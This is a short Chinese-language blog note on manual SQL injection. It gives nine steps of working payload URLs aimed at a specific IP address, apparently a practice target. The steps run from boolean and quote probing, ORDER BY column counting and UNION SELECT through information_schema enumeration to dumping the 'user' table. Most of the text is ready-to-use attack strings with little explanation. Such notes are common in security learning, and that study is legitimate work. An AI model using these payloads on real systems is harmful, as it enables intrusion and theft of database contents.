行业知识
sql手工注入个人笔记
一、
���入:http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/这个网站
二、
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=3'判断交互点
三、
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho?id=3 and 1=1真命题
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho?id=3 and 1=2假命题
判断真假命题是否回显一致,若不一致证明存在整形注入
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=3' and 1=1 --+真命题
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=3' and 1=2 --+假命题
判断真假命题回显是否一致,若回显不一致证明存在字符型注入(注释符有--+ #两种)
四、
查数据列(order by)一次次尝试数字发现http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=3' order by 3 --+可以再往上显示错误,证明有三列。
五、
判断回显结果(union select)联合查询
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=3' union select 1,2,3 --+
在页面显示
六、
查数据库(message)
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=1' and 1=2 union Select 1,2,database() --+
table_schema 数据库名
table_name 数据表名
column_name 数据列名
information_schema
information_schema.tables 记录了所有数据库表名的一张表
information_schema.columns 记录了所有数据库列名的一张表
七、
查数据表(user)
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=1' and 1=2 union Select 1,2,table_name from information_schema.tables where table_schema='message' --+
八、
查数据列(id)
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=1' and 1=2 union Select 1,2,column_name from information_schema.columns where table_name='user' --+
九、(id为1)
查数据
http://62.234.58.155:90/qIv6ZLbzUJqia17W8seXzk2AsUInPbho/?id=1’ and 1=2 union Select 1,2,id from user --+
上一篇:制作一个简单的C语言词法分析程序
下一篇:服务器里面怎么上传游戏?